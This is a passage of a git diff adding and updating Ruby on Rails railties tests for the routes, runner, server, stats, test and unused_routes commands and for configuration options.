+                    rails_direct_uploads POST /rails/active_storage/direct_uploads(.:format)                                                    active_storage/direct_uploads#create
+    MESSAGE
+  end
+
+  test "rails routes with expanded option" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get '/cart', to: 'cart#show'
+      end
+    RUBY
+
+    output = IO.stub(:console_size, [0, 27]) do
+      run_routes_command([ "--expanded" ])
+    end
+
+    # Normalize the output
+    output.gsub!(/\.rb:\d+$/, ".rb:XX")
+    output.gsub!(/ \([\d.]+\) /, " (X.X.X) ")
+
+    rails_gem_root = File.expand_path("../../../../", __FILE__)
+
+    assert_equal <<~MESSAGE, output
+      --[ Route 1 ]--------------
+      Prefix            | cart
+      Verb              | GET
+      URI               | /cart(.:format)
+      Controller#Action | cart#show
+      Source Location   | #{app_path}/config/routes.rb:XX
+      --[ Route 2 ]--------------
+      Prefix            | rails_postmark_inbound_emails
+      Verb              | POST
+      URI               | /rails/action_mailbox/postmark/inbound_emails(.:format)
+      Controller#Action | action_mailbox/ingresses/postmark/inbound_emails#create
+      Source Location   | #{rails_gem_root}/actionmailbox/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/actionmailbox/app/controllers/action_mailbox/ingresses/postmark/inbound_emails_controller.rb:XX
+      --[ Route 3 ]--------------
+      Prefix            | rails_relay_inbound_emails
+      Verb              | POST
+      URI               | /rails/action_mailbox/relay/inbound_emails(.:format)
+      Controller#Action | action_mailbox/ingresses/relay/inbound_emails#create
+      Source Location   | #{rails_gem_root}/actionmailbox/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/actionmailbox/app/controllers/action_mailbox/ingresses/relay/inbound_emails_controller.rb:XX
+      --[ Route 4 ]--------------
+      Prefix            | rails_sendgrid_inbound_emails
+      Verb              | POST
+      URI               | /rails/action_mailbox/sendgrid/inbound_emails(.:format)
+      Controller#Action | action_mailbox/ingresses/sendgrid/inbound_emails#create
+      Source Location   | #{rails_gem_root}/actionmailbox/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/actionmailbox/app/controllers/action_mailbox/ingresses/sendgrid/inbound_emails_controller.rb:XX
+      --[ Route 5 ]--------------
+      Prefix            | rails_mandrill_inbound_health_check
+      Verb              | GET
+      URI               | /rails/action_mailbox/mandrill/inbound_emails(.:format)
+      Controller#Action | action_mailbox/ingresses/mandrill/inbound_emails#health_check
+      Source Location   | #{rails_gem_root}/actionmailbox/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/actionmailbox/app/controllers/action_mailbox/ingresses/mandrill/inbound_emails_controller.rb:XX
+      --[ Route 6 ]--------------
+      Prefix            | rails_mandrill_inbound_emails
+      Verb              | POST
+      URI               | /rails/action_mailbox/mandrill/inbound_emails(.:format)
+      Controller#Action | action_mailbox/ingresses/mandrill/inbound_emails#create
+      Source Location   | #{rails_gem_root}/actionmailbox/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/actionmailbox/app/controllers/action_mailbox/ingresses/mandrill/inbound_emails_controller.rb:XX
+      --[ Route 7 ]--------------
+      Prefix            | rails_mailgun_inbound_emails
+      Verb              | POST
+      URI               | /rails/action_mailbox/mailgun/inbound_emails/mime(.:format)
+      Controller#Action | action_mailbox/ingresses/mailgun/inbound_emails#create
+      Source Location   | #{rails_gem_root}/actionmailbox/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/actionmailbox/app/controllers/action_mailbox/ingresses/mailgun/inbound_emails_controller.rb:XX
+      --[ Route 8 ]--------------
+      Prefix            | rails_conductor_inbound_emails
+      Verb              | GET
+      URI               | /rails/conductor/action_mailbox/inbound_emails(.:format)
+      Controller#Action | rails/conductor/action_mailbox/inbound_emails#index
+      Source Location   | #{rails_gem_root}/actionmailbox/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails_controller.rb:XX
+      --[ Route 9 ]--------------
+      Prefix            |#{" "}
+      Verb              | POST
+      URI               | /rails/conductor/action_mailbox/inbound_emails(.:format)
+      Controller#Action | rails/conductor/action_mailbox/inbound_emails#create
+      Source Location   | #{rails_gem_root}/actionmailbox/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails_controller.rb:XX
+      --[ Route 10 ]-------------
+      Prefix            | new_rails_conductor_inbound_email
+      Verb              | GET
+      URI               | /rails/conductor/action_mailbox/inbound_emails/new(.:format)
+      Controller#Action | rails/conductor/action_mailbox/inbound_emails#new
+      Source Location   | #{rails_gem_root}/actionmailbox/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails_controller.rb:XX
+      --[ Route 11 ]-------------
+      Prefix            | rails_conductor_inbound_email
+      Verb              | GET
+      URI               | /rails/conductor/action_mailbox/inbound_emails/:id(.:format)
+      Controller#Action | rails/conductor/action_mailbox/inbound_emails#show
+      Source Location   | #{rails_gem_root}/actionmailbox/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails_controller.rb:XX
+      --[ Route 12 ]-------------
+      Prefix            | new_rails_conductor_inbound_email_source
+      Verb              | GET
+      URI               | /rails/conductor/action_mailbox/inbound_emails/sources/new(.:format)
+      Controller#Action | rails/conductor/action_mailbox/inbound_emails/sources#new
+      Source Location   | #{rails_gem_root}/actionmailbox/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails/sources_controller.rb:XX
+      --[ Route 13 ]-------------
+      Prefix            | rails_conductor_inbound_email_sources
+      Verb              | POST
+      URI               | /rails/conductor/action_mailbox/inbound_emails/sources(.:format)
+      Controller#Action | rails/conductor/action_mailbox/inbound_emails/sources#create
+      Source Location   | #{rails_gem_root}/actionmailbox/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails/sources_controller.rb:XX
+      --[ Route 14 ]-------------
+      Prefix            | rails_conductor_inbound_email_reroute
+      Verb              | POST
+      URI               | /rails/conductor/action_mailbox/:inbound_email_id/reroute(.:format)
+      Controller#Action | rails/conductor/action_mailbox/reroutes#create
+      Source Location   | #{rails_gem_root}/actionmailbox/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/actionmailbox/app/controllers/rails/conductor/action_mailbox/reroutes_controller.rb:XX
+      --[ Route 15 ]-------------
+      Prefix            | rails_conductor_inbound_email_incinerate
+      Verb              | POST
+      URI               | /rails/conductor/action_mailbox/:inbound_email_id/incinerate(.:format)
+      Controller#Action | rails/conductor/action_mailbox/incinerates#create
+      Source Location   | #{rails_gem_root}/actionmailbox/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/actionmailbox/app/controllers/rails/conductor/action_mailbox/incinerates_controller.rb:XX
+      --[ Route 16 ]-------------
+      Prefix            | rails_service_blob
+      Verb              | GET
+      URI               | /rails/active_storage/blobs/redirect/:signed_id/*filename(.:format)
+      Controller#Action | active_storage/blobs/redirect#show
+      Source Location   | #{rails_gem_root}/activestorage/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/activestorage/app/controllers/active_storage/blobs/redirect_controller.rb:XX
+      --[ Route 17 ]-------------
+      Prefix            | rails_service_blob_proxy
+      Verb              | GET
+      URI               | /rails/active_storage/blobs/proxy/:signed_id/*filename(.:format)
+      Controller#Action | active_storage/blobs/proxy#show
+      Source Location   | #{rails_gem_root}/activestorage/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/activestorage/app/controllers/active_storage/blobs/proxy_controller.rb:XX
+      --[ Route 18 ]-------------
+      Prefix            |#{" "}
+      Verb              | GET
+      URI               | /rails/active_storage/blobs/:signed_id/*filename(.:format)
+      Controller#Action | active_storage/blobs/redirect#show
+      Source Location   | #{rails_gem_root}/activestorage/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/activestorage/app/controllers/active_storage/blobs/redirect_controller.rb:XX
+      --[ Route 19 ]-------------
+      Prefix            | rails_blob_representation
+      Verb              | GET
+      URI               | /rails/active_storage/representations/redirect/:signed_blob_id/:variation_key/*filename(.:format)
+      Controller#Action | active_storage/representations/redirect#show
+      Source Location   | #{rails_gem_root}/activestorage/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/activestorage/app/controllers/active_storage/representations/redirect_controller.rb:XX
+      --[ Route 20 ]-------------
+      Prefix            | rails_blob_representation_proxy
+      Verb              | GET
+      URI               | /rails/active_storage/representations/proxy/:signed_blob_id/:variation_key/*filename(.:format)
+      Controller#Action | active_storage/representations/proxy#show
+      Source Location   | #{rails_gem_root}/activestorage/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/activestorage/app/controllers/active_storage/representations/proxy_controller.rb:XX
+      --[ Route 21 ]-------------
+      Prefix            |#{" "}
+      Verb              | GET
+      URI               | /rails/active_storage/representations/:signed_blob_id/:variation_key/*filename(.:format)
+      Controller#Action | active_storage/representations/redirect#show
+      Source Location   | #{rails_gem_root}/activestorage/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/activestorage/app/controllers/active_storage/representations/redirect_controller.rb:XX
+      --[ Route 22 ]-------------
+      Prefix            | rails_disk_service
+      Verb              | GET
+      URI               | /rails/active_storage/disk/:encoded_key/*filename(.:format)
+      Controller#Action | active_storage/disk#show
+      Source Location   | #{rails_gem_root}/activestorage/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/activestorage/app/controllers/active_storage/disk_controller.rb:XX
+      --[ Route 23 ]-------------
+      Prefix            | update_rails_disk_service
+      Verb              | PUT
+      URI               | /rails/active_storage/disk/:encoded_token(.:format)
+      Controller#Action | active_storage/disk#update
+      Source Location   | #{rails_gem_root}/activestorage/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/activestorage/app/controllers/active_storage/disk_controller.rb:XX
+      --[ Route 24 ]-------------
+      Prefix            | rails_direct_uploads
+      Verb              | POST
+      URI               | /rails/active_storage/direct_uploads(.:format)
+      Controller#Action | active_storage/direct_uploads#create
+      Source Location   | #{rails_gem_root}/activestorage/config/routes.rb:XX
+      Action Location   | #{rails_gem_root}/activestorage/app/controllers/active_storage/direct_uploads_controller.rb:XX
+    MESSAGE
+  end
+
+  test "rails routes with unused option" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+      end
+    RUBY
+
+    output = run_routes_command([ "--unused" ])
+
+    assert_includes(output, "No unused routes found.")
+  end
+
+  private
+    def run_routes_command(args = [])
+      rails "routes", args
+    end
+end
diff --git a/railties/test/commands/runner_test.rb b/railties/test/commands/runner_test.rb
new file mode 100644
index 0000000000000..d67a2f0b868ac
--- /dev/null
+++ b/railties/test/commands/runner_test.rb
@@ -0,0 +1,77 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rails/command"
+
+class Rails::RunnerTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  setup :build_app
+  teardown :teardown_app
+
+  def test_rails_runner_with_stdin
+    command_output = `echo "puts 'Hello world'" | #{app_path}/bin/rails runner -`
+
+    assert_equal <<~OUTPUT, command_output
+      Hello world
+    OUTPUT
+  end
+
+  def test_rails_runner_with_file
+    # We intentionally define a file with a name that matches the one of the
+    # script that we want to run to ensure that runner executes the latter one.
+    app_file "lib/foo.rb", "# Lib file"
+
+    app_file "foo.rb", <<-RUBY
+    puts "Hello world"
+    RUBY
+
+    assert_equal <<~OUTPUT, run_runner_command("foo.rb")
+      Hello world
+    OUTPUT
+  end
+
+  def test_rails_runner_with_file_path_that_does_not_exist
+    command_output = run_runner_command("no-file-here.rb", allow_failure: true)
+
+    assert_match(/The file no-file-here.rb could not be found/, command_output)
+    assert_equal 1, $?.exitstatus
+  end
+
+  def test_rails_runner_with_ruby_code
+    assert_equal <<~OUTPUT, run_runner_command('puts "Hello world"')
+      Hello world
+    OUTPUT
+  end
+
+  def test_rails_runner_with_conditional_executor
+    assert_equal <<~OUTPUT, run_runner_command("puts Rails.application.executor.active?", allow_failure: true)
+      true
+    OUTPUT
+
+    assert_equal <<~OUTPUT, run_runner_command("--skip-executor", "puts Rails.application.executor.active?", allow_failure: true)
+      false
+    OUTPUT
+  end
+
+  def test_rails_runner_with_syntax_error_in_ruby_code
+    command_output = run_runner_command("This is not ruby code", allow_failure: true)
+
+    assert_match(/Please specify a valid ruby command/, command_output)
+    assert_equal 1, $?.exitstatus
+  end
+
+  def test_rails_runner_with_name_error_in_ruby_code
+    assert_raise(NameError) { IDoNotExist }
+
+    command_output = run_runner_command("IDoNotExist.new", allow_failure: true)
+
+    assert_match(/Please specify a valid ruby command/, command_output)
+    assert_equal 1, $?.exitstatus
+  end
+
+  private
+    def run_runner_command(*arguments, allow_failure: false)
+      rails "runner", *arguments, allow_failure: allow_failure
+    end
+end
diff --git a/railties/test/commands/server_test.rb b/railties/test/commands/server_test.rb
index e3dfc3e82bcec..0d3e602b3f937 100644
--- a/railties/test/commands/server_test.rb
+++ b/railties/test/commands/server_test.rb
@@ -1,13 +1,15 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
 require "env_helpers"
 require "rails/command"
 require "rails/commands/server/server_command"
 
-class Rails::ServerTest < ActiveSupport::TestCase
+class Rails::Command::ServerTest < ActiveSupport::TestCase
   include EnvHelpers
 
   def test_environment_with_server_option
-    args = ["thin", "-e", "production"]
+    args = ["-u", "thin", "-e", "production"]
     options = parse_arguments(args)
     assert_equal "production", options[:environment]
     assert_equal "thin", options[:server]
@@ -20,8 +22,60 @@ def test_environment_without_server_option
     assert_nil options[:server]
   end
 
+  def test_environment_option_is_properly_expanded
+    args = ["-e", "prod"]
+    options = parse_arguments(args)
+    assert_equal "production", options[:environment]
+  end
+
+  def test_explicit_using_option
+    args = ["-u", "thin"]
+    options = parse_arguments(args)
+    assert_equal "thin", options[:server]
+  end
+
+  def test_using_server_mistype
+    output = run_command("--using", "tin")
+    assert_match "Could not find server 'tin'", output
+    assert_match "Did you mean?  thin", output
+  end
+
+  def test_using_server_mistype_without_suggestion
+    output = run_command("--using", "t")
+    assert_match "Could not find server 't'", output
+    assert_no_match "Did you mean", output
+  end
+
+  def test_using_known_server_that_isnt_in_the_gemfile
+    assert_match(/Could not load server "unicorn". Maybe you need to the add it to the Gemfile/, run_command("-u", "unicorn"))
+  end
+
+  def test_gem_not_suggested_when_name_not_same_as_handler
+    build_app
+
+    ["fastcgi", "lsws"].each do |server|
+      output = rails "server", "-u", server
+      assert_match(/Could not find server '#{server}'./, output)
+      assert_no_match("Gemfile", output)
+    end
+  ensure
+    teardown_app
+  end
+
+  def test_daemon_with_option
+    args = ["-d"]
+    options = parse_arguments(args)
+    assert_equal true, options[:daemonize]
+  end
+
+  def test_daemon_without_option
+    args = []
+    options = parse_arguments(args)
+    assert_equal false, options[:daemonize]
+  end
+
   def test_server_option_without_environment
-    args = ["thin"]
+    args = ["-u", "thin"]
     with_rack_env nil do
       with_rails_env nil do
         options = parse_arguments(args)
@@ -56,13 +110,20 @@ def test_environment_with_port
     end
   end
 
-  def test_environment_with_host
-    switch_env "HOST", "1.2.3.4" do
+  def test_environment_with_binding
+    switch_env "BINDING", "1.2.3.4" do
       options = parse_arguments
       assert_equal "1.2.3.4", options[:Host]
     end
   end
 
+  def test_environment_with_pidfile
+    switch_env "PIDFILE", "/tmp/rails.pid" do
+      options = parse_arguments
+      assert_equal "/tmp/rails.pid", options[:pid]
+    end
+  end
+
   def test_caching_without_option
     args = []
     options = parse_arguments(args)
@@ -79,6 +140,18 @@ def test_caching_with_option
     assert_equal false, options[:caching]
   end
 
+  def test_early_hints_with_option
+    args = ["--early-hints"]
+    options = parse_arguments(args)
+    assert_equal true, options[:early_hints]
+  end
+
+  def test_early_hints_is_nil_by_default
+    args = []
+    options = parse_arguments(args)
+    assert_nil options[:early_hints]
+  end
+
   def test_log_stdout
     with_rack_env nil do
       with_rails_env nil do
@@ -90,10 +163,22 @@ def test_log_stdout
         options = parse_arguments(args)
         assert_equal true, options[:log_stdout]
 
+        args    = ["-e", "development", "-d"]
+        options = parse_arguments(args)
+        assert_equal false, options[:log_stdout]
+
         args    = ["-e", "production"]
         options = parse_arguments(args)
         assert_equal false, options[:log_stdout]
 
+        args    = ["-e", "development", "--no-log-to-stdout"]
+        options = parse_arguments(args)
+        assert_equal false, options[:log_stdout]
+
+        args    = ["-e", "production", "--log-to-stdout"]
+        options = parse_arguments(args)
+        assert_equal true, options[:log_stdout]
+
         with_rack_env "development" do
           args    = []
           options = parse_arguments(args)
@@ -121,6 +206,79 @@ def test_log_stdout
     end
   end
 
+  def test_host
+    with_rails_env "development" do
+      options = parse_arguments([])
+      assert_equal "localhost", options[:Host]
+    end
+
+    with_rails_env "production" do
+      options = parse_arguments([])
+      assert_equal "0.0.0.0", options[:Host]
+    end
+
+    with_rails_env "development" do
+      args = ["-b", "127.0.0.1"]
+      options = parse_arguments(args)
+      assert_equal "127.0.0.1", options[:Host]
+    end
+  end
+
+  def test_argument_precedence_over_environment_variable
+    switch_env "PORT", "1234" do
+      args = ["-p", "5678"]
+      options = parse_arguments(args)
+      assert_equal 5678, options[:Port]
+    end
+
+    switch_env "PORT", "1234" do
+      args = ["-p", "3000"]
+      options = parse_arguments(args)
+      assert_equal 3000, options[:Port]
+    end
+
+    switch_env "BINDING", "1.2.3.4" do
+      args = ["-b", "127.0.0.1"]
+      options = parse_arguments(args)
+      assert_equal "127.0.0.1", options[:Host]
+    end
+
+    switch_env "PIDFILE", "/tmp/rails.pid" do
+      args = ["-P", "/somewhere/else.pid"]
+      options = parse_arguments(args)
+      assert_equal "/somewhere/else.pid", options[:pid]
+    end
+  end
+
+  def test_records_user_supplied_options
+    server_options = parse_arguments(["-p", "3001"])
+    assert_equal [:Port], server_options[:user_supplied_options]
+
+    server_options = parse_arguments(["--port", "3001"])
+    assert_equal [:Port], server_options[:user_supplied_options]
+
+    server_options = parse_arguments(["-p3001", "-C", "--binding", "127.0.0.1"])
+    assert_equal [:Port, :Host, :caching], server_options[:user_supplied_options]
+
+    server_options = parse_arguments(["--port=3001"])
+    assert_equal [:Port], server_options[:user_supplied_options]
+
+    switch_env "BINDING", "1.2.3.4" do
+      server_options = parse_arguments
+      assert_equal [:Host], server_options[:user_supplied_options]
+    end
+
+    switch_env "PORT", "3001" do
+      server_options = parse_arguments
+      assert_equal [:Port], server_options[:user_supplied_options]
+    end
+
+    switch_env "PIDFILE", "/tmp/server.pid" do
+      server_options = parse_arguments
+      assert_equal [:pid], server_options[:user_supplied_options]
+    end
+  end
+
   def test_default_options
     server = Rails::Server.new
     old_default_options = server.default_options
@@ -135,15 +293,33 @@ def test_restart_command_contains_customized_options
     args = %w(-p 4567 -b 127.0.0.1 -c dummy_config.ru -d -e test -P tmp/server.pid -C)
     ARGV.replace args
 
-    options = parse_arguments(args)
-    expected = "bin/rails server  -p 4567 -b 127.0.0.1 -c dummy_config.ru -d -e test -P tmp/server.pid -C"
+    expected = "bin/rails server -p 4567 -b 127.0.0.1 -c dummy_config.ru -d -e test -P tmp/server.pid -C --restart"
 
-    assert_equal expected, options[:restart_cmd]
+    assert_equal expected, parse_arguments(args)[:restart_cmd]
   ensure
     ARGV.replace original_args
   end
 
+  def test_served_url
+    args = %w(-u webrick -b 127.0.0.1 -p 4567)
+    server = Rails::Server.new(parse_arguments(args))
+    assert_equal "http://127.0.0.1:4567", server.served_url
+  end
+
+  def test_served_url_when_server_prints_it
+    args = %w(-u puma -b 127.0.0.1 -p 4567)
+    server = Rails::Server.new(parse_arguments(args))
+    assert_nil server.served_url
+  end
+
   private
+    def run_command(*args)
+      build_app
+      rails "server", *args
+    ensure
+      teardown_app
+    end
+
     def parse_arguments(args = [])
       Rails::Command::ServerCommand.new([], args).server_options
     end
diff --git a/railties/test/commands/stats_test.rb b/railties/test/commands/stats_test.rb
new file mode 100644
index 0000000000000..7e910547cfdad
--- /dev/null
+++ b/railties/test/commands/stats_test.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rails/command"
+
+class Rails::Command::StatsTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+  setup :build_app
+  teardown :teardown_app
+
+  test "`bin/rails stats` handles directories added by third parties" do
+    app_dir "custom/dir"
+
+    app_file "config/initializers/custom.rb", <<~CODE
+      require "rails/code_statistics"
+      Rails::CodeStatistics.register_directory("Custom dir", "custom/dir")
+    CODE
+
+    output = rails "stats"
+    assert_match "Custom dir", output
+  end
+
+  test "`bin/rails stats` handles non-existing directories added by third parties" do
+    app_file "config/initializers/custom.rb", <<~CODE
+      require "rails/code_statistics"
+      Rails::CodeStatistics.register_directory("Non Existing", "app/non_existing")
+    CODE
+
+    output = rails "stats"
+    assert_no_match "Non Existing", output
+  end
+end
diff --git a/railties/test/commands/test_test.rb b/railties/test/commands/test_test.rb
new file mode 100644
index 0000000000000..c6306d4730213
--- /dev/null
+++ b/railties/test/commands/test_test.rb
@@ -0,0 +1,126 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rails/command"
+
+class Rails::Command::TestTest < ActiveSupport::TestCase
+  setup :build_app
+  teardown :teardown_app
+
+  test "test command with no args runs test:prepare task" do
+    assert_runs_prepare_task do
+      run_test_command("test")
+    end
+  end
+
+  test "test command with path arg skips test:prepare task" do
+    app_file "test/some_test.rb", ""
+
+    assert_skips_prepare_task do
+      run_test_command("test", "test/some_test.rb")
+    end
+
+    assert_skips_prepare_task do
+      run_test_command("test", "test/some_test")
+    end
+
+    assert_skips_prepare_task do
+      run_test_command("test", "test/some_test.rb:1")
+    end
+
+    assert_skips_prepare_task do
+      run_test_command("test", "./test/*_test.rb")
+    end
+  end
+
+  test "test command with options runs test:prepare task" do
+    assert_runs_prepare_task do
+      run_test_command("test", "--seed", "1234", "-e", "development")
+    end
+  end
+
+  test "test command with name option skips test:prepare task" do
+    assert_skips_prepare_task do
+      run_test_command("test", "-n", "test_some_code", allow_failure: true)
+    end
+
+    assert_skips_prepare_task do
+      run_test_command("test", "-n", "/some_code/", allow_failure: true)
+    end
+
+    assert_skips_prepare_task do
+      run_test_command("test", "-n", "some code", allow_failure: true)
+    end
+
+    assert_skips_prepare_task do
+      run_test_command("test", "--name", "test_some_code", allow_failure: true)
+    end
+
+    assert_skips_prepare_task do
+      run_test_command("test", "--name=test_some_code", allow_failure: true)
+    end
+  end
+
+  test "test command runs successfully when no tasks defined" do
+    app_file "Rakefile", ""
+    assert_successful_run run_test_command("test")
+  end
+
+  test "test:all runs test:prepare task" do
+    assert_runs_prepare_task do
+      run_test_command("test:all")
+    end
+  end
+
+  test "test:all with name option skips test:prepare task" do
+    assert_skips_prepare_task do
+      run_test_command("test:all", "-n", "test_some_code", allow_failure: true)
+    end
+  end
+
+  test "test:* runs test:prepare task" do
+    assert_runs_prepare_task do
+      run_test_command("test:models")
+    end
+  end
+
+  test "test:* with name option skips test:prepare task" do
+    assert_skips_prepare_task do
+      run_test_command("test:models", "-n", "test_some_code", allow_failure: true)
+    end
+  end
+
+  private
+    def run_test_command(subcommand = "test", *args, **options)
+      rails subcommand, args, **options
+    end
+
+    def enhance_prepare_task_with_output(output)
+      app_file "Rakefile", <<~RUBY, "a"
+        task :enhancing do
+          puts #{output.inspect}
+        end
+        Rake::Task["test:prepare"].enhance(["enhancing"])
+      RUBY
+    end
+
+    def assert_successful_run(test_command_output)
+      assert_match "0 failures, 0 errors", test_command_output
+    end
+
+    def assert_runs_prepare_task(&block)
+      enhance_prepare_task_with_output("Prepare yourself!")
+      output = block.call
+      assert_successful_run output
+      assert_match "Prepare yourself!", output
+      output
+    end
+
+    def assert_skips_prepare_task(&block)
+      enhance_prepare_task_with_output("Prepare yourself!")
+      output = block.call
+      assert_successful_run output
+      assert_no_match "Prepare yourself!", output
+      output
+    end
+end
diff --git a/railties/test/commands/unused_routes_test.rb b/railties/test/commands/unused_routes_test.rb
new file mode 100644
index 0000000000000..db91a05b647a5
--- /dev/null
+++ b/railties/test/commands/unused_routes_test.rb
@@ -0,0 +1,149 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rails/command"
+require "io/console/size"
+
+class Rails::Command::UnusedRoutesTest < ActiveSupport::TestCase
+  setup :build_app
+  teardown :teardown_app
+
+  test "no results" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+      end
+    RUBY
+
+    assert_includes run_unused_routes_command, "No unused routes found."
+  end
+
+  test "no controller" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get "/", to: "my#index", as: :my_route
+      end
+    RUBY
+
+    assert_includes run_unused_routes_command(allow_failure: true), <<~OUTPUT
+      Found 1 unused route:
+
+        Prefix Verb URI Pattern Controller#Action
+      my_route GET  /           my#index
+    OUTPUT
+  end
+
+  test "no action" do
+    app_file "app/controllers/my_controller.rb", <<-RUBY
+      class MyController < ActionController::Base
+      end
+    RUBY
+
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get "/", to: "my#index", as: :my_route
+      end
+    RUBY
+
+    assert_includes run_unused_routes_command(allow_failure: true), <<~OUTPUT
+      Found 1 unused route:
+
+        Prefix Verb URI Pattern Controller#Action
+      my_route GET  /           my#index
+    OUTPUT
+  end
+
+  test "implicit render" do
+    app_file "app/controllers/my_controller.rb", <<-RUBY
+      class MyController < ActionController::Base
+      end
+    RUBY
+
+    app_file "app/views/my/index.html.erb", <<-HTML
+      <h1>Hello world</h1>
+    HTML
+
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get "/", to: "my#index", as: :my_route
+      end
+    RUBY
+
+    assert_includes run_unused_routes_command, "No unused routes found."
+  end
+
+  test "multiple unused routes" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get "/one", to: "action#one"
+        get "/two", to: "action#two"
+      end
+    RUBY
+
+    assert_includes run_unused_routes_command(allow_failure: true), <<~OUTPUT
+      Found 2 unused routes:
+
+      Prefix Verb URI Pattern    Controller#Action
+         one GET  /one(.:format) action#one
+         two GET  /two(.:format) action#two
+    OUTPUT
+  end
+
+  test "filter by grep" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get "/one", to: "posts#one"
+        get "/two", to: "users#two"
+      end
+    RUBY
+
+    assert_includes run_unused_routes_command(["-g", "one"], allow_failure: true), <<~OUTPUT
+      Found 1 unused route:
+
+      Prefix Verb URI Pattern    Controller#Action
+         one GET  /one(.:format) posts#one
+    OUTPUT
+  end
+
+  test "filter by grep no results" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+      end
+    RUBY
+
+    assert_includes run_unused_routes_command(["-g", "one"]), <<~OUTPUT
+      No unused routes found for this grep pattern.
+    OUTPUT
+  end
+
+  test "filter by controller" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get "/one", to: "posts#one"
+        get "/two", to: "users#two"
+      end
+    RUBY
+
+    assert_includes run_unused_routes_command(["-c", "posts"], allow_failure: true), <<~OUTPUT
+      Found 1 unused route:
+
+      Prefix Verb URI Pattern    Controller#Action
+         one GET  /one(.:format) posts#one
+    OUTPUT
+  end
+
+  test "filter by controller no results" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+      end
+    RUBY
+
+    assert_includes run_unused_routes_command(["-c", "posts"]), <<~OUTPUT
+      No unused routes found for this controller.
+    OUTPUT
+  end
+
+  private
+    def run_unused_routes_command(args = [], allow_failure: false)
+      rails "unused_routes", args, allow_failure: allow_failure
+    end
+end
diff --git a/railties/test/configuration/dynamic_options_test.rb b/railties/test/configuration/dynamic_options_test.rb
new file mode 100644
index 0000000000000..5e3bf4162a457
--- /dev/null
+++ b/railties/test/configuration/dynamic_options_test.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require "active_support"
+require "active_support/test_case"
+require "active_support/testing/autorun"
+require "rails/railtie/configuration"
+
+module RailtiesTest
+  class DynamicOptionsTest < ActiveSupport::TestCase
+    setup do
+      @config = Rails::Railtie::Configuration.dup.new
+      @config.class.class_variable_set(:@@options, {})
+    end
+
+    test "arbitrary keys can be set, reset, and read" do
+      @config.foo = 1
+      assert_equal 1, @config.foo
+
+      @config.foo = 2
+      assert_equal 2, @config.foo
+    end
+
+    test "raises NoMethodError if the key is unset and the method does not exist" do
+      assert_raises(NoMethodError) do
+        @config.unset_key
+      end
+    end
+
+    test "raises NoMethodError with an informative message if assigning to an existing method" do
+      error = assert_raises(NoMethodError) do
+        @config.eager_load_namespaces = 1
+      end
+
+      assert_match(/Cannot assign to `eager_load_namespaces`, it is a configuration method/, error.message)
+    end
+  end
+end
diff --git a/railties/test/configuration/middleware_stack_proxy_test.rb b/railties/test/configuration/middleware_stack_proxy_test.rb
index 559ce726939e7..20e8c0c8ecb0a 100644
--- a/railties/test/configuration/middleware_stack_proxy_test.rb
+++ b/railties/test/configuration/middleware_stack_proxy_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support"
 require "active_support/testing/autorun"
 require "rails/configuration"
@@ -16,6 +18,11 @@ def test_playback_insert_before
         assert_playback :insert_before, :foo
       end
 
+      def test_playback_insert
+        @stack.insert :foo
+        assert_playback :insert_before, :foo
+      end
+
       def test_playback_insert_after
         @stack.insert_after :foo
         assert_playback :insert_after, :foo
@@ -36,23 +43,35 @@ def test_playback_delete
         assert_playback :delete, :foo
       end
 
+      def test_playback_move_before
+        @stack.move_before :foo
+        assert_playback :move_before, :foo
+      end
+
+      def test_playback_move
+        @stack.move :foo
+        assert_playback :move_before, :foo
+      end
+
+      def test_playback_move_after
